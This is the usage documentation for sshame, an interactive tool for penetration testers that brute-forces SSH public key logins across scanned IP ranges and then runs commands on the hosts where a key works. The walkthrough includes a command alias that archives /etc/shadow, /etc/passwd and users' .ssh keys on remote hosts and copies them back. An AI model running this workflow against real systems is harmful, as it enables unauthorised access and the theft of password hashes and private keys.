Interactive tool to brute force ssh public key authentication. Primarily intended for pentration testers. Sshame can execute commands on remote hosts.
Clone the source from Github:
git clone https://github.com/HynekPetrak/sshame.git
cd sshame
Then in order to install run:
sudo python3 setup.py install
In case you want to contribute instead of install run:
sudo python3 setup.py develop
pip3 will install the latest release.
pip3 install sshame
sshame is interactive, based on https://github.com/python-cmd2/cmd2
# sshame
(sshame)
Type help to get a list of commands:
(sshame) help
Documented commands (type help <topic>):
Sshame
======
commands creds exploit hosts keys resolve session
Uncategorized
=============
alias help macro py record run_script shell
edit history playback quit run_pyscript set shortcuts
In the sshame shell run hosts -a list-of-ip-ranges-or-hosts [-p port]:
(sshame) hosts -a 10.0.0.0/24 -p 22
Scanning 10.0.0.0/24 on port(s) 22
........***.............
Received 877 packets, got 222 answers, remaining 34 packets
2019-08-25 19:22:15,633 sshame [I] 'Adding host (port open): 10.0.0.2 22'
2019-08-25 19:22:15,683 sshame [I] 'Adding host (port open): 10.0.0.1 22'
2019-08-25 19:22:15,686 sshame [I] 'Adding host (port open): 10.0.0.6 22'
sshame will scan the given hosts with scapy and add those, which have the port open.
To verify added hosts with TCP port open run hosts -l
Load private keys with keys -a glob_path [-p list-of-passwords]
(sshame) keys -a test/**/*key
2019-08-25 19:30:40,613 sshame [I] "Adding ssh keys from: ['test/**/*key']"
2019-08-25 19:30:40,614 sshame [I] "Discovered 4 files in 'test/**/*key'."
2019-08-25 19:30:40,615 sshame [I] 'Going to examine 4 files.'
2019-08-25 19:30:40,635 sshame [I] 'Importing ssh-dss key: test/keys/dsa_key'
2019-08-25 19:30:40,645 sshame [I] 'Importing ssh-rsa key: test/keys/rsa_key'
2019-08-25 19:30:40,680 sshame [I] 'Importing ecdsa-sha2-nistp256 key: test/keys/ecdsa_key'
2019-08-25 19:30:40,693 sshame [I] 'Importing ssh-ed25519 key: test/keys/ed25519_key'
Loaded 4 unique keys, ignoring 0 duplicates
-p list-of-passwords is optional in case you load encrypted private keys protected with passwords.
List loaded keys with keys -l
To brute force which keys authenticates on which target run test_keys -u list-of-users:
(sshame) test_keys -u root admin
2019-08-25 19:34:31,900 sshame [I] 'Preparing target jobs...'
2019-08-25 19:34:31,933 sshame [I] 'Matching keys - 16 jobs scheduled'
Completed: [####################] [100.00%]
2019-08-25 19:34:56,857 sshame [I] '---------------------------------------------------------------------------'
List matching keys with creds -l:
(sshame) creds -l
[1/1/1]: ssh -i test/keys/rsa_key [email protected]
[2/2/1]: ssh -i test/keys/dsa_key [email protected]
To run commands on remote hosts use run_cmd -c command, e.g.:
(sshame) run_cmd -c whoami
2019-08-25 23:28:22,757 sshame [I] 'Preparing target jobs...'
2019-08-25 23:28:22,763 sshame [I] 'Executing commands - 2 jobs scheduled'
Completed: [####################] [100.00%]
2019-08-25 23:28:23,993 sshame [I] '---------------------------------------------------------------------------'
With commands -r diplay the results:
(sshame) commands -r
Entries: 2
| guid | host_address | host_port | username | cmd | exit_status | output | updated |
|--------------------------------------+----------------+-------------+------------+----------------------+---------------+-----------------+---------------------|
| 434f163a-24b5-4775-a3c1-6ea41745b18d | 10.0.0.2 | 22 | root | whoami | 0 | root | 2019-08-25 21:28:23 |
| 305e3f5d-bf4d-4024-981a-59b2dddebbcd | 10.0.0.1 | 22 | admin | whoami | 0 | admin | 2019-08-25 21:28:23 |
Define an alias get_files for a remote command tar -cf - /etc/passwd /etc/ldap.conf /etc/shadow /home/*/.ssh /etc/fstab | gzip | uuencode /dev/stdout; exit 0
and pipe it to a local uudecode -o - |tar xzf -, with:
commands -a get_files "tar -cf - /etc/passwd /etc/ldap.conf /etc/shadow /home/*/.ssh /etc/fstab | gzip | uuencode /dev/stdout; exit 0" -p "uudecode -o - |tar xzf -"
exit 0 is to override tar's exit code in case of missing files.
Run te defined command with:
run_cmd -c get_files
The output you will find in the folder output/<host>_<port>/username/...
You may want to split wokloads into sessions. Use session name to switch between sessions. Default session is
called 'default'.
Each session has its data stored in a separate sqlite db in the current directory named after the session
name, e.g. default.db
(sshame) session test
2019-08-25 23:38:38,283 sshame [I] 'Openning session: sqlite:///test.db'
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